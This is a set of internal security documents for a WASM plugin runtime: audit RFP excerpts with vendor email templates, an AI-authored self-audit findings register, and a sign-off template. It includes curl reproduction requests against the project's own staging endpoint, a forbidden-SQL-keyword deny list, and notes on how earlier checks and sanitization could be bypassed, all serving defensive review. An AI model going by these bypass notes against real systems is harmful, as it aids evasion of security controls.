- Quotes within the cap proceed directly.
- Quotes 0-10% above the cap may be negotiated down (drop the re-test pass
to "first 4 hours included, then T&M" or restrict the brief to 3 days
instead of 5).
- Quotes more than 10% above the cap require operator approval; the
fallback is the next-ranked alternate (SySS).
---
## 7. Sign-off criteria
The audit is considered complete and the production rollout is unblocked
when **all** of the following are true:
- [ ] All **Critical** findings addressed AND re-tested green by the firm.
- [ ] All **High** findings either addressed (re-tested green) OR
documented as accepted-residual-risk with operator + auditor
co-signature on the residual-risk line.
- [ ] **Medium** findings recorded in
`docs/improvement-plan/06-plugin-system/security-findings/<id>.md` as
follow-up tasks (fixed if cheap, deferred if expensive — but always
recorded).
- [ ] **Low** findings recorded in the same directory and triaged to the
backlog.
- [ ] Joint sign-off document at `docs/security/plugin-runtime-signoff.md`
filled and signed (operator + lead auditor at minimum).
- [ ] Sanitized public report archived at
`docs/security-reviews/plugin-runtime-<YYYY-MM-DD>.md`.
- [ ] Full report archived at
`private/security-reviews/plugin-runtime-<YYYY-MM-DD>-full.md`.
Only after all checkboxes are green may the operator set
`PLUGIN_RUNTIME_PRODUCTION_ENABLED=true` in the production environment.
---
## 8. Audit package contents (what we send the vendor)
A `scripts/build-plugin-audit-package.sh` script is the canonical shipping
tool for the vendor package. The operator may still add encrypted
environment-specific credentials out of band for the first engagement. The
package contains:
1. **Code tarball** — the in-scope file list from §2 of this RFP, exported
at a frozen git SHA (the SHA the audit is performed against).
2. `docs/security/threat-model.md` — overall platform threat model.
3. `docs/security/plugin-audit-rfp.md` — this RFP.
4. `docs/security/plugin-runtime-signoff.md` — sign-off template.
5. `docs/improvement-plan/06-plugin-system/wasm-sandbox.md` — design
intent + Security Notes section (the in-scope claims).
6. `docs/improvement-plan/06-plugin-system/audit-docs.md` — audit logging +
sanitization design + sign-off process.
7. **Test-tenant credentials** — provisioned per §4 of
`docs/security/pen-test-scope.md`; sent via PGP-encrypted channel to the
lead auditor.
8. **Three sample plugins** (when shipped per audit-docs.md Step 10):
benign / malicious-test / edge-case fixtures, signed with a test
publisher key whose public half is registered on the staging tenant.
---
## 9. Vendor contact instructions (operator action)
The operator dispatches one of the following email templates to the chosen
firm's `info@` or `contact@` address. **The authoring agent did not contact
any firm.**
### Email template (English)
```
Subject: RFP — WASM plugin runtime security audit, ~3-5 days, EUR <=25k
Hello <firm>,
We are requesting a proposal for an external security audit of our
WebAssembly-based plugin runtime, capability gateway, and plugin
lifecycle. The system is written in TypeScript (Node 22, V8 WebAssembly
host), with Ed25519 signature verification and per-tenant capability
scoping.
Scope summary:
- 3-5 days active pen-test
- WASM sandbox boundary + capability gateway + signature trust model +
audit logging + plugin lifecycle
- Frozen git SHA on a dedicated staging test tenant
- Report with Critical/High/Medium/Low findings, one re-test pass included
- Joint sign-off after remediation
Budget: hard cap EUR 25,000. Target timeline: kickoff → sign-off in ~3
calendar weeks.
We can share the full audit package (RFP, design docs, threat model,
code tarball at the frozen SHA, test-tenant credentials via PGP) on
NDA. Please reply with availability, your statement-of-work template,
and a ballpark price for this scope.
Best regards,
<operator name>
<operator email>
<operator PGP fingerprint>
```
### Email template (Deutsch — for SySS, secfault, Cure53)
```
Betreff: Anfrage — externe Security-Audit unserer WASM-Plugin-Runtime,
3-5 Tage, EUR <=25k
Guten Tag <Firma>,
wir möchten ein Angebot für einen externen Security-Audit unserer
WebAssembly-basierten Plugin-Runtime, Capability-Gateway und
Plugin-Lifecycle einholen. Das System ist in TypeScript implementiert
(Node 22, V8 WebAssembly Host) mit Ed25519-Signatur-Verifikation und
per-Mandant-Capability-Scoping.
Scope:
- 3-5 Tage aktiver Pentest
- WASM-Sandbox-Boundary + Capability-Gateway + Signatur-Vertrauensmodell
+ Audit-Logging + Plugin-Lifecycle
- Frozener Git-SHA gegen dediziertes Staging-Test-Mandant
- Report mit Critical/High/Medium/Low Findings, ein Re-Test inkl.
- Gemeinsames Sign-off nach Remediation
Budget: harte Obergrenze EUR 25.000. Ziel-Timeline: Kickoff → Sign-off
in ca. 3 Kalenderwochen.
Audit-Paket (RFP, Design-Docs, Threat-Model, Code-Tarball am frozen
SHA, Test-Mandant-Credentials via PGP) senden wir nach NDA-Unterzeichnung.
Bitte antworten Sie mit Verfügbarkeit, SoW-Template und einer
Preis-Indikation für diesen Scope.
Mit freundlichen Grüßen,
<Operator-Name>
<Operator-E-Mail>
<Operator-PGP-Fingerprint>
```
**Operator action checklist:**
- [ ] Send to top pick (Cure53). Wait 5 business days.
- [ ] If no response or quote out of budget: send to fallback (SySS).
- [ ] If still no response: send to alternate 2 (Trail of Bits) — accept
English-only delivery and a likely budget overrun.
- [ ] On firm acceptance: sign NDA + SoW, share audit package, schedule
kickoff call.
- [ ] After kickoff: provision test-tenant credentials, share PGP-encrypted.
- [ ] After report received: file findings into
`docs/improvement-plan/06-plugin-system/security-findings/`, assign
each Critical/High to an agent for remediation.
- [ ] After remediation: request re-test from firm.
- [ ] After re-test green: fill in
`docs/security/plugin-runtime-signoff.md`, both parties sign.
- [ ] Flip `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true` in production env.
@@ -0,0 +1,218 @@
# Plugin Runtime — Internal Self-Audit Findings
**Phase:** 06
**Author:** Claude Opus 4.7 (1M context)
**Last revised:** 2026-05-19
**Status:** **Initial cut for B-006 audit-package.** Findings here are the gaps the agent identified during the threat-model + attack-surface authoring pass. They are NOT a substitute for the external pen-test; they are the input the auditor receives to know what we already know.
Each finding maps back to an asset in `docs/security/plugin-threat-model.md` (`A-NN`) and a folder-per-finding in `docs/improvement-plan/06-plugin-system/security-findings/F-NNN-…md` if/when it reaches Critical / High status.
Severity scale here: **Critical** = production-blocker, **High** = remediate before sign-off, **Medium** = remediate or document as accepted residual, **Low** = backlog.
---
## Summary
| ID | Severity | Asset | Status | One-line |
| ----- | ---------- | ---------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| F-001 | Medium | A-02 | **backend closed 2026-05-19; list-level UI closed 2026-05-26; nonrepudiation metadata closed 2026-05-28; guided dialog deferred** | `TenantPluginCapabilityGrant` Prisma model + migration `20260519010000_06_plugin_capability_grant`. `grantPluginCapabilities` service upserts one row per (tenant, plugin, capability); rejects capabilities not declared in the manifest. `enablePlugin` runs `assertConsentSatisfied` and refuses to flip Plugin.enabled=true until every declared capability has a grant (`capability_consent_missing` → HTTP 409). Disable always allowed (kill-switch parity). Route exposes `POST ?op=grant` with `{ pluginId, grants[] }`. Env opt-out `PLUGIN_REQUIRE_CAPABILITY_CONSENT=false` for back-compat dev/test. Tenant settings now requires a reviewed-capabilities checkbox and server-generated manifest digest before writing missing grants; stale manifests are rejected. Grant audit events include plugin version, review digest, approved capability names, approved scope JSON, and the matching manifest scope snapshot. A fuller guided tenant-admin consent dialog remains deferred. |
| F-002 | Medium | A-01, A-11 | **partially closed 2026-05-27; Wasmtime track remains external hardening** | Plugin invocation now runs in a killable worker-thread sandbox and enforces `PLUGIN_MAX_WALL_CLOCK_MS` (default 5000 ms) with `worker.terminate()`, so a pure-WASM loop with zero host calls no longer blocks the parent worker indefinitely. Remaining hardening: V8 WebAssembly still lacks per-instruction fuel/epoch interruption, so CPU accounting is wall-clock coarse and a future Wasmtime/Component-Model runtime remains the preferred security-audit upgrade path. Keep tight `PLUGIN_MAX_FUEL`, per-plugin worker concurrency, and BullMQ job timeouts in production. |
| F-003 | Low | A-05 | **closed 2026-05-19; operator verifier shipped 2026-05-29** | Per-tenant hash chain landed: `PluginCapabilityUse.prevHash` + `rowHash` columns (migration `20260519000000_06_plugin_capability_use_chain`), canonical-form spec in `packages/plugin-runtime/src/audit-chain.ts` (10-field deterministic encoding, SHA-256), worker handler stamps both columns per batch with optional `getChainHead` seam so chains span batches. `verifyPluginCapabilityUseChain` walks an ordered slice and reports first break with `prev_mismatch` / `row_hash_mismatch`. Chain-helper, handler, and CLI tests cover stamping, cross-batch seeding, soft-fail on `getChainHead` error, intra-batch threading, tamper/deletion detection, and operator verification through `toolctrl-cli plugins verify-audit-chain <tenantId>`. Pre-F-003 rows are skipped without flagging. A production web endpoint remains deferred; the operator CLI is the supported verification surface. |
| F-004 | (reserved) | — | — | placeholder for IDs that get split out from F-005. |
| F-005 | High | A-02, A-08 | **closed 2026-05-19 (Phase A + Phase B)** | Phase A (commit `5d9b97cd`): trust-store gate + signedBy/key match. Phase B (this commit): install path now reads the .wasm binary from `PLUGIN_BINARY_BASE_PATH/<id>/<version>/plugin.wasm` and runs `verifyPluginSignature` against the manifest. Rejects with `binary_not_found` (404), `binary_verification_failed` (403), or `signature_key_*` (403). Dev escape via `PLUGIN_INSTALL_SKIP_BINARY_VERIFY=true` documented as non-production. 4 new tests with temp-dir fixture cover missing binary, hash mismatch, submitted-sha-vs-manifest-sha mismatch, and the escape hatch. |
| F-006 | Low | A-06 | **closed 2026-05-19** | Stage-2 token-aware scan landed in `migrations.ts`: `tokenizeSqlIdentifiers` walks the SQL respecting single-quoted strings, double-quoted identifiers, dollar-quoted strings, line comments, and block comments. `findForbiddenKeyword` scans the identifier stream for DROP DATABASE / GRANT / REVOKE / TRUNCATE / SET ROLE / PG\_\*. Replaces the previous substring-only check (which both false-positived on string-literal content AND was bypassable through obfuscation). 7 new tests cover string-literal isolation, dollar-quote isolation, comment isolation, keyword detection, and the previously-broken DEFAULT-with-grant false-positive case. Stage-1 substring scan retained as belt-and-braces; only fires when a forbidden token appears OUTSIDE every string literal. |
| F-007 | Low | A-06 | **closed 2026-05-19** | `applyPluginMigration` now emits a `plugin.migration.execute_statement` info line BEFORE each `executeRawUnsafe`. Includes `statementIndex`, `statementCount`, and a 200-char `statementPreview`. The matching `execute_failed` log also includes the statement index. 2 new tests. |
| F-008 | Medium | A-06 | **closed 2026-05-19** | `validatePluginMigration` now caps statement count at `DEFAULT_MAX_STATEMENTS_PER_MIGRATION` (32); per-call `maxStatements` override available. Code `too_many_statements` on `PluginMigrationError`. 3 new tests. |
| F-009 | Medium | A-07 | **closed 2026-05-19** | `installPlugin` now rejects when the tenant has reached `PLUGIN_MAX_INSTALLS_PER_TENANT` (default 50; set to 0 to disable). New code `tenant_install_limit_exceeded` → HTTP 429. 3 new tests. |
| F-010 | Low | A-08 | closed (test landed 2026-05-19, commit `bf639ac7`) | CSRF body-consumption regression — verified safe when `x-csrf-token` header is set; install route documents this contract. Negative-path test confirms a clean error (not the opaque undici `TypeError: unusable`) when callers omit the header. |
| F-011 | Medium | A-08 | **closed 2026-05-19** | Install route now runs a SharedStore sliding-window rate limiter (`createSlidingWindowRateLimiter`) keyed on `tenant:<id>`. Default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over-limit returns 429 + `Retry-After: 60`. Production fails closed on infra errors unless `PLUGIN_RATE_LIMIT_FAIL_OPEN=true` is explicitly configured; non-production remains fail-open for operator ergonomics. 3 new tests cover allowed/denied/infra-error paths. |
| F-012 | Medium | A-09 | **closed 2026-05-26** | Plugin hook fanout is now wired: `plugin.hook.*` outbox events route to `outbox.plugin-hook`, the general worker's `plugin-hook-fanout` consumer scopes enabled-plugin lookup by `tenantId`, filters manifest-declared hooks, and enqueues one idempotent `toolctrl.plugin-invoke` job per subscriber. Sandbox execution remains isolated on `WORKER_QUEUE_GROUP=plugin`. The fanout path is tenant-scoped and does not cross tenant boundaries. |
| F-013 | Low | A-10 | **accepted-residual 2026-05-19** | A tenant user with control over plugin input can drive their own plugin to auto-disable. Confirmed not a privilege escalation: the threat-model invariant is that disabling a plugin for one's own tenant is not a security boundary. Documented in plugin-threat-model.md A-10 "Elevation" row. |
| F-014 | Medium | A-12 | **closed 2026-05-19** | `sanitizePluginOutput` now carries a total-bytes budget across the walk (default 1 MiB, env override `PLUGIN_SANITIZE_TOTAL_BUDGET_BYTES`). Once exhausted further string leaves become `[SIZE_LIMIT]` markers. The output-size budget is closed; the remaining caveat is regex-based sanitization for encoded secrets. 4 new tests cover budget exhaustion in objects + arrays, default-fits cases, and invalid-env fallback. |
| F-015 | Critical | A-13 | **bootstrap wiring closed 2026-05-26; production runtime gate remains B-006** | Handler now dispatches to `handlePluginInvokeJob` when `pluginInvokeDeps` is injected; throws (fail-loud, BullMQ dead-letters) when not. `apps/worker/src/index.ts` composes production deps when `WORKER_QUEUE_GROUP=plugin`. Bootstrap module `apps/worker/src/jobs/plugin-invoke-bootstrap.ts` wires Prisma `loadPlugin`, filesystem `loadBinary` (from `PLUGIN_BINARY_BASE_PATH/<id>/<version>/plugin.wasm`), `verifyPluginSignature`, SharedStore sliding-window rate-limit, sandbox+gateway `invokeInSandbox`, log-based `recordAudit`, and SharedStore crash-tracker. Remaining signoff is the broader production WASM runtime review, not the SharedStore limiter wiring. Host-fns for the 9 declared capabilities remain empty — any capability call denies via `no_host_implementation` through the gateway (intentional foundation scope). |
| F-016 | Low | A-14 | **documented 2026-05-19** | The stale runtime-enable toggle has been replaced by the current production gate: `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true` is required before tenant plugin runtime operations are allowed in production. Emergency stop remains operational: stop/scale `worker-plugin`, pause/drain `toolctrl.plugin-invoke`, and disable affected plugins through lifecycle controls. |
| F-017 | High | A-02 | closed (commit `0b2995ad`, 2026-05-19) | Schema widened to declare optional `minHostVersion` / `maxHostVersion`. `PluginLifecycleService.extractVersionConstraints` is now redundant (the parsed manifest already carries the fields) but remains harmless; consider collapsing in a follow-up. |
| F-021 | Medium | A-06 | **closed 2026-05-19** | `validateCreateTable` now requires `tenantId` to appear as a column-definition header (preceded by `(` or `,`, optionally double-quoted, followed by whitespace before the type). Column comments / DEFAULT literals containing the word `tenantId` no longer satisfy the check. 5 new tests cover the positive + negative paths. |
| F-022 | Medium | A-08 | **closed 2026-05-26** | Plugin lifecycle routes now split the broad account-settings permission into `app.plugins.use` for read/list/audit surfaces and `app.plugins.manage` for install, capability grant, enable, and disable. Default seeds assign manage to SuperUser/Admin and use to all default app roles. |
| F-023 | Medium | A-12 | **closed 2026-05-19** | `sanitizePluginOutput.walk()` now carries a `WeakSet` seen-tracker; circular refs are replaced with `[CIRCULAR]` instead of overflowing the stack. 3 new tests cover self-reference, two-step cycle, and circular array. |
| F-018 | Medium | A-12 | **documented 2026-05-19** | Sanitization is best-effort regex defence-in-depth against PANs / JWTs / IBANs / API-keys; a plugin that custom-encodes data evades it. Confirmed: the primary trust boundary remains `db.read` capability denial — a plugin that cannot read tenant data cannot exfiltrate it. Documented in plugin-threat-model.md A-12 "Info disclosure" row and the cross-cutting invariant §3.4. |
| F-019 | Medium | A-04 | **documented 2026-05-19** | Capability gateway `onCall` / `onDenied` callbacks fire after the host-fn returns or throws. Verified by reading capability-gateway.ts:121-137: success outcome before return, error outcome before re-throw. The recorder always sees an outcome — there is no "lost" call. Documented in plugin-threat-model.md A-04. When real host-fn implementations land each will need to keep this invariant; tracked as a per-PR check item. |
| F-020 | Low | A-05 | **closed 2026-05-19** | Retention job now logs surviving row count after each sweep. When count exceeds `warnRowCountThreshold` (default 10M) the job emits a `plugin-audit-retention.table-size-warning` warn line. count() soft-fails so a flaky DB doesn't poison the retention result. Worker bootstrap wires `prisma.pluginCapabilityUse.count()`. 4 new tests. |
---
## F-005 (High, closed) — Install path re-verifies binary signature
**Severity:** High (closed 2026-05-19, Phase A + Phase B)
**Asset:** [A-02 Plugin manifest](plugin-threat-model.md#a-02-plugin-manifest), [A-08 Tenant install API](plugin-threat-model.md#a-08-tenant-install-api)
### Description
`apps/web/app/routes/api.tenants.$tenant.plugins.tsx` still delegates install requests to `installPlugin({ tenantId, manifestJson, wasmSha256, signaturePublicKey, actor })`, but the lifecycle service no longer stores caller-supplied binary metadata without verification.
Installs are gated, not accepted merely because a manifest is valid. The lifecycle service requires `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true` in production, parses the manifest, enforces inclusive `minHostVersion` / `maxHostVersion` when present, checks the trusted publisher key list, requires `signaturePublicKey` to match `manifest.signedBy`, reads the pre-positioned binary from `PLUGIN_BINARY_BASE_PATH/<pluginId>/<version>/plugin.wasm`, runs `verifyPluginSignature`, cross-checks submitted SHA vs `manifest.wasmSha256`, rejects duplicate tenant/plugin installs, and enforces the tenant install cap. Production must not set `PLUGIN_INSTALL_SKIP_BINARY_VERIFY=true`.
### Reproduction
```bash
curl -X POST https://staging/api/tenants/<tenant>/plugins \
-H "x-csrf-token: <token>" \
-H "content-type: application/json" \
-d '{
"manifestJson": <manifest object pointing at a published binary>,
"wasmSha256": "0000000000000000000000000000000000000000000000000000000000000000",
"signaturePublicKey": "<some-published-public-key>"
}'
# Current result: 403 with "binary_verification_failed"; non-production
# environments may opt into PLUGIN_INSTALL_SKIP_BINARY_VERIFY for local tests.
```
### Closure evidence
- `PluginLifecycleService.installPlugin` runs the production gate, parses trusted keys via `parseTrustedPublicKeys`, checks `manifest.signedBy === signaturePublicKey`, enforces the host-version range, loads the `.wasm` from disk, calls `verifyPluginSignature` before create, rejects duplicate `(tenantId, pluginId)` rows, and enforces `PLUGIN_MAX_INSTALLS_PER_TENANT`.
- Missing binaries fail with `binary_not_found`; invalid hashes/signatures fail with `binary_verification_failed`; untrusted or mismatched publisher keys fail with `signature_key_*`.
- Invocation-time verification in `apps/worker/src/jobs/plugin-invoke.ts` remains as a second line of defence.
---
## F-010 (closed) — CSRF body-consumption bug from BLOCKERS B-009
**Severity:** Low (closed)
**Asset:** [A-08 Tenant install API](plugin-threat-model.md#a-08-tenant-install-api)
### Description
BLOCKERS.md B-009 originally noted a follow-up bug: older `validateCSRFToken` behavior could surface `TypeError: unusable` whenever a route action had already read the body before validation.
The plugin install action (`api.tenants.$tenant.plugins.tsx:43`) does:
```ts
await validateCSRFToken(request); // line 46
const body = (await request.json()) as { ... }; // line 63
```
CSRF validation happens **before** the JSON body is read. The current validator also keeps the JSON body safe by checking `x-csrf-token` before any body fallback, and by exposing `{ formData }` for single-read form actions.
### Reproduction
```bash
# Form-data POST attempting CSRF + JSON body
curl -X POST https://staging/api/tenants/<tenant>/plugins \
-H "x-csrf-token: <token>" \
-d '{"manifestJson":...}' \
-H "content-type: application/json"
# Expected: 201 Created (if both CSRF + JSON body work)
# Actual: verified 201 when the header token is present; clean CSRF error when absent
```
### Remediation plan
1. Add an integration test `apps/web/app/routes/api.tenants.$tenant.plugins.test.ts` that hits the install path with `content-type: application/json` and an `x-csrf-token` header to verify the happy path.
2. Keep JSON callers on the header-token contract.
3. Use `validateCSRFToken(request, { formData })` for form actions that intentionally parse the body before validation.
### Remediation commits
| SHA | Summary |
| ---------- | ---------------------------------------------------------------------------------------- |
| `bf639ac7` | test(plugin-routes): verify install route immunity to CSRF body-already-consumed (F-010) |
### Verification outcome (2026-05-19)
- The real `validateCSRFToken` short-circuits at `session.server.ts:250` whenever the `x-csrf-token` header is present, **before** any `request.clone().text()` call. The install route therefore never triggers the body-clone path when callers honour the header contract.
- The new test pair in `apps/web/app/routes/api.tenants.$tenant.plugins.test.ts` replaces the csrf mock with a partial real implementation that mirrors header-first / body-fallback. With the header set, install returns 201 and `request.json()` succeeds afterwards. Without the header, the test surfaces a clean `CSRF Request Token not included.` error (not the opaque undici `TypeError: unusable`) — proving the route fails cleanly even in the worst case.
- Downgraded from High → **Low** and closed.
- 2026-05-25 follow-up: `validateCSRFToken(request, { formData })` is now covered in `apps/web/app/utils/session.server.test.ts`, closing the broader UI form-body ordering bug that originally prompted the B-009 note.
---
## F-015 (Critical, bootstrap wiring closed) — Verify production rate-limit wiring
**Severity:** Critical for production signoff; internal bootstrap wiring closed
**Asset:** [A-13 Rate-limit counters](plugin-threat-model.md#a-13-rate-limit-counters)
### Description
`apps/worker/src/jobs/plugin-invoke.ts:91` declares `consumeRateLimit` as a dependency seam. Tests inject a fake. The handler returns `rate_limit_exceeded` when `allowed: false`.
The production worker bootstrap now wires a real SharedStore-backed limiter. A no-op would allow a single plugin to saturate the worker pool, so this remains an explicit audit checkpoint whenever production bootstrap code changes.
### Reproduction
Read `apps/worker/src/jobs/plugin-invoke-bootstrap.ts` wherever `handlePluginInvokeJob` is wired in production. Confirm `consumeRateLimit` calls a SharedStore-backed sliding-window or token-bucket. If a future refactor returns `{ allowed: true, remaining: Infinity }`, the rate limit has regressed to a no-op.
### Remediation plan
1. Grep for `consumeRateLimit` usage in `apps/worker/src/`.
2. Verify the wired implementation; if no-op, replace with a real SharedStore-backed limiter.
3. Add a test that asserts the production wiring rate-limits at the configured window.
### Remediation commits
| SHA | Summary |
| ---------- | ------------------------------------------------------------------------ |
| `cbac8d3d` | Wire production plugin invoke bootstrap with SharedStore rate limiting. |
### Verification outcome (2026-05-26) — bootstrap wiring closed
F-015's internal bootstrap gap is closed in code. `apps/worker/src/jobs/plugin-invoke-bootstrap.ts` wires `handlePluginInvokeJob` into the dedicated `WORKER_QUEUE_GROUP=plugin` runtime with Prisma plugin lookup, binary loading, signature verification, SharedStore-backed rate limiting, sandbox invocation, audit logging, and crash tracking.
The generic handler path in `apps/worker/src/handlers.ts` now fails loudly if `pluginInvokeDeps` is missing, so a misconfigured worker dead-letters the job instead of silently acknowledging it as skipped. Current coverage includes the plugin invoke handler/bootstrap tests and deploy topology verification that checks `worker-plugin` as a separate Coolify resource.
Remaining external signoff is the production WASM security review tracked by B-006 and `docs/security/plugin-runtime-signoff.md`; it is not a blocker for the F-015 bootstrap wiring itself.
---
## F-017 (closed) — Manifest schema declares host-version constraint fields
**Severity:** High (closed 2026-05-19, commit `0b2995ad`)
**Asset:** [A-02 Plugin manifest](plugin-threat-model.md#a-02-plugin-manifest)
### Description
Historically, `packages/plugin-runtime/src/version-check.ts` checked `manifest.minHostVersion` and `manifest.maxHostVersion`, but the strict manifest schema did not declare those fields. That made host-version constraints unusable because manifests carrying them failed schema parsing before the compatibility check ran.
Current status: the schema now declares optional `minHostVersion` / `maxHostVersion` fields, and install-time lifecycle validation enforces the inclusive host-version range before a plugin row is created.
### Reproduction
Historical reproduction only:
1. Submit a manifest with `minHostVersion: "1.0.0"` before commit `0b2995ad`.
2. Expected: install succeeds or fails with a host-version compatibility error.
3. Historical result: install failed with `manifest_invalid` because Zod's `.strict()` rejected the unknown field.
### Closure evidence
- `packages/plugin-runtime/src/manifest.ts` accepts optional `minHostVersion` and `maxHostVersion`.
- `packages/plugin-runtime/src/version-check.ts` validates the parsed manifest bounds against the running host version.
- `PluginLifecycleService.installPlugin` rejects incompatible plugins before create.
### Remediation commits
| SHA | Summary |
| ---------- | -------------------------------------------------------------------------------------------- |
| `0b2995ad` | fix(plugin-runtime): widen manifest schema to declare host-version constraint fields (F-017) |
### Verification outcome (2026-05-19)
- Both fields added to `PluginManifestSchema` as optional `z.string().regex(SEMVER_PATTERN)`. Schema remains `.strict()`.
- Four new tests in `manifest.test.ts`: accepts omitted, accepts well-formed pair, rejects non-SemVer `min`, rejects non-SemVer `max`. Existing 13 tests + 11 version-check tests still pass.
- `PluginLifecycleService.extractVersionConstraints` is now redundant — the parsed manifest already carries the fields. Left in place because removing it requires touching out-of-scope `PluginLifecycleService.ts` per the session policy. Worth collapsing in a follow-up PR (no behaviour change expected — both paths land on the same struct via `{ ...manifest, ...rawConstraints }`).
- Closed.
---
## Other findings (Medium / Low)
The remaining findings F-001, F-002, F-003, F-006, F-007, F-008, F-009, F-011, F-013, F-014, F-016, F-018, F-019, F-020 are tracked in the summary table above. Each becomes a stub file under `docs/improvement-plan/06-plugin-system/security-findings/F-NNN-….md` if and when it is scheduled for remediation.
---
## Change log
| Date | Change | Author |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- |
| 2026-05-19 | Initial 20-finding cut produced during threat-model pass. F-005/F-010/F-015/F-017 flagged as High for sign-off remediation. | Claude Opus 4.7 (1M context) |
| 2026-05-19 | Self-audit pass. F-017 closed via commit `0b2995ad` (schema widened). F-010 closed via commit `bf639ac7` (regression test landed; route confirmed safe under `x-csrf-token` header contract). F-005 confirmed open + concrete remediation plan added (trust-store gate as Phase A, in-PR scope; binary-positioning gate as Phase B, out of scope). F-015 **escalated High → Critical** during this pass because production plugin invoke wiring and rate limiting still needed proof at that point. Three new findings added: F-021 (migration tenantId-column regex bypass, Medium), F-022 (permission conflation across all plugin lifecycle ops, Medium), F-023 (sanitize missing circular-reference guard, Medium). | Claude Opus 4.7 (1M context) |
| 2026-05-26 | Docs sync: F-012 updated to closed after `plugin.hook.*` events gained the `outbox.plugin-hook` route and the general-worker `plugin-hook-fanout` consumer that enqueues tenant-scoped `toolctrl.plugin-invoke` jobs for manifest-declared subscribers. | Codex |
@@ -0,0 +1,220 @@
# Plugin Runtime External Audit — Sign-Off Record
**To be filled by:** Operator + auditing firm jointly
**Required for:** Production rollout of Phase 06 plugin runtime
**Companion RFP:** `docs/security/plugin-audit-rfp.md`
**Related blocker:** B-006 in `docs/improvement-plan/BLOCKERS.md`
**Authoring agent (template):** Claude Opus 4.7 (1M context), 2026-05-19
> This document is the **single gate** between staging and production for
> the plugin runtime. It is not signed until the auditing firm confirms
> remediation re-test green. The production topology may still include an
> idle dedicated `worker-plugin` service with `WORKER_QUEUE_GROUP=plugin`
> so deployment, health, and revision checks stay consistent across
> environments. Until this sign-off is complete, do not install, grant,
> enable, or enqueue tenant plugins for external plugin execution in
> production. Once signed, the operator may allow tenant plugin execution
> through the lifecycle controls by setting `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true`.
> Without that flag, production install/grant/enable operations and plugin
> worker fanout/invocation fail closed. Emergency stops still use the
> procedure in §8.
---
## 1. Audit summary
| Field | Value |
|---|---|
| Auditing firm | _________ |
| Lead auditor (named consultant) | _________ |
| Engagement reference (firm-side) | _________ |
| RFP version used | `docs/security/plugin-audit-rfp.md` @ git SHA `_______` |
| Code SHA audited (frozen) | _________ |
| Audit start date | _________ |
| Audit end date (active test window) | _________ |
| Report delivery date | _________ |
| Re-test completion date | _________ |
| Sign-off date | _________ |
**Final report archived at:**
- Sanitized public version: `docs/security-reviews/plugin-runtime-YYYY-MM-DD.md`
- Full version (private): `private/security-reviews/plugin-runtime-YYYY-MM-DD-full.md`
---
## 2. Findings tally
| Severity | Found | Addressed (re-tested green) | Accepted residual (signed) | Deferred (Medium/Low only) |
|---|---|---|---|---|
| Critical | _ | _ | _ | _ |
| High | _ | _ | _ | _ |
| Medium | _ | _ | _ | _ |
| Low | _ | _ | _ | _ |
**Sign-off rule:** for Critical and High rows, `Addressed + Accepted
residual == Found`. Deferred is **only** allowed for Medium and Low.
Any Critical or High that the operator + auditor agree to accept as
residual risk must be documented in §4 with explicit rationale + both
signatures on that finding's row.
---
## 3. Remediation references
One row per Critical or High finding. Medium and Low findings are tracked
in `docs/improvement-plan/06-plugin-system/security-findings/<id>.md` and
do not need to appear in this table.
| Finding ID | Severity | Short description | Detail MD | Remediation commit(s) | Re-test result |
|---|---|---|---|---|---|
| F-001 | _ | _ | `docs/improvement-plan/06-plugin-system/security-findings/F-001.md` | `_______` | green / red |
| F-002 | _ | _ | _ | _ | _ |
| F-003 | _ | _ | _ | _ | _ |
| _ | _ | _ | _ | _ | _ |
**Remediation commits must land on `main` before sign-off.** No
remediation-on-a-branch + sign-off-against-the-branch flow.
---
## 4. Accepted residual risk (Critical/High only)
For any Critical or High finding where the operator chooses to accept the
risk rather than remediate (e.g. because the remediation cost exceeds
the residual-risk cost, or because remediation requires an architectural
change deferred to a later phase):
| Finding ID | Severity | Residual-risk rationale | Compensating controls | Operator initials | Auditor initials |
|---|---|---|---|---|---|
| _ | _ | _ | _ | _ | _ |
If this section is empty, no Critical or High was accepted as residual.
That is the preferred state.
---
## 5. Re-test result
The auditing firm performs one re-test pass after the operator ships
remediation commits. The firm replays each Critical and High finding's
exploit against the post-remediation code SHA and issues a per-finding
verdict.
- [ ] **Re-test passed** — auditor confirms all Critical/High remediations
close the original finding. Sign-off may proceed.
- [ ] **Re-test failed** — sign-off **withheld**. Operator addresses the
failing remediation(s), requests a second re-test round (may be
out-of-scope of the original engagement letter and billed
separately). Sign-off restarts at §3.
Re-test letter from firm archived at:
`private/security-reviews/plugin-runtime-YYYY-MM-DD-retest.md` (or
attached as PDF to the firm's email — record the email-message-id here:
`_______`).
---
## 6. Sign-off
By signing below, the parties confirm:
- All Critical findings are addressed (re-tested green) **or** accepted as
residual risk with both signatures on the §4 row.
- All High findings are addressed (re-tested green) **or** accepted as
residual risk with both signatures on the §4 row.
- Plugin settings HTML assets rendered through the sandboxed iframe are
covered by signed manifest metadata: `ui.settings.entry` must be paired
with a manifest-declared SHA-256 (`sha256` or SRI-compatible `integrity`),
and the host must verify the bundle bytes before returning iframe HTML.
- Medium and Low findings are recorded in
`docs/improvement-plan/06-plugin-system/security-findings/`.
- The sanitized public report is archived at
`docs/security-reviews/plugin-runtime-YYYY-MM-DD.md`.
- The full report is archived at
`private/security-reviews/plugin-runtime-YYYY-MM-DD-full.md`.
- This sign-off may be invalidated retroactively if a Critical or High
finding emerges post-rollout (see §8).
| Role | Name | Organization | Date | Signature |
|---|---|---|---|---|
| Operator | _________ | toolctrl / @toolctrl/boilerplate | _________ | _________ |
| Lead auditor | _________ | <firm> | _________ | _________ |
| Engineering lead (optional) | _________ | toolctrl | _________ | _________ |
| DPO (required if findings touched PII) | _________ | toolctrl | _________ | _________ |
Wet signatures or PGP-signed digital signatures both acceptable. PGP
signature blocks may be appended below this table; the corresponding
public keys must be referenced from `.well-known/pgp-key.txt` or the
